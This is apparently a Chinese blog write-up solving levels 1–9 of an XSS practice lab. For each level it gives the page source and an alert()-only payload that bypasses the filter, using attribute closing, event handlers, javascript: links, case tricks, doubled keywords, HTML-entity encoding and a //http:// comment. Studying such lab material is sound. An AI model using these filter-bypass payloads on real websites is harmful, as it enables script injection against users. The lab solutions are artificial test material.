XSS攻击:

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容

XSS靶场地址:

传送门

参考文章:

传送门

特别鸣谢王师傅在解题过程中给予的思路与帮助!

解题过程

Level1

右键获得源码,对源码进行分析可知,当弹窗alert被执行后,则输出"完成的不错!"并跳转到Level2。


<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>

Level2

构建alert()提交后发现没有弹窗,右键查看源码发现<>被过滤。

<h2 align=center>没有找到和&lt;script&gt;alert()&lt;/script&gt;相关的结果.</h2><center>

但在value处未被过滤,所以闭合value标签,再执行。

<input name=keyword  value="<script>alert()</script>">

Level3

构建alert()提交后发现没有弹窗,右键查看源码发现value处的<>也被过滤。

<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&lt;script&gt;alert()&lt;/script&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&lt;script&gt;alert()&lt;/script&gt;'>
<input type=submit name=submit value=搜索 />

于是构造事件,此处构造代码为:

' onclick=alert() '

提交后点击输入框则弹出弹窗。

PS:经王师傅提示,使用onmouseover构造更加方便。

Level4

构造提交后右键查看源代码发现依旧是<>被过滤。

<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和&lt;script&gt;alert()&lt;/script&gt;相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="scriptalert()/script">
<input type=submit name=submit value=搜索 />

模仿Level3构建事件,点击输入框弹出弹窗。

Level5

尝试构造后发现,题目直接在我的<script>中添加下划线进行过滤。

<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和&lt;script&gt;alert()&lt;/script&gt;相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword  value="<scr_ipt>alert()</script>">
<input type=submit name=submit value=搜索 />

同时构造事件也被同样的方式过滤,最后构造javascript语句弹出成功。

" /> <a href=javascript:alert()>

PS: " />是确保前面的内容闭合。

Level6

尝试Level5中的方法失败了,查看源代码发现herf被过滤了。

<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和&quot; /&gt; &lt;a href=javascript:alert()&gt;相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword  value="" /> <a hr_ef=javascript:alert()>">
<input type=submit name=submit value=搜索 />

于是构造大写来绕过。

" /> <a hrEf=javascript:alert()>

Level7:

构造后发现直接将<>内的script给删除了,大小写无法规避。

尝试双写script后成功。

"><scrscriptipt>alert()</scrscriptipt>

Level8

当我们输入内容的时候,value的内容会直接带入href,点击友情链接的时候,就会执行带入的参数。

尝试使用javascript:alert()发现存在过滤。

<form action=level8.php method=GET>
<input name=keyword  value="javascript:alert()">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="javascr_ipt:alert()">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:19</h3></body>

这里对script进行HTML实体编码。

HTML实体编码在线转换

java&#115;&#99;&#114;&#105;&#112;&#116;:alert()

Level9

输入提示内容非法,判断其对协议进行检测。

<form action=level9.php method=GET>
<input name=keyword  value="java&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;:alert()">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:47</h3></body>

声明http://协议,同时对其进行注释,使其能够通过检测同时不影响javascript:alert()的执行。

java&#115;&#99;&#114;&#105;&#112;&#116;:alert()//http://


手书无愧,无惧人间是非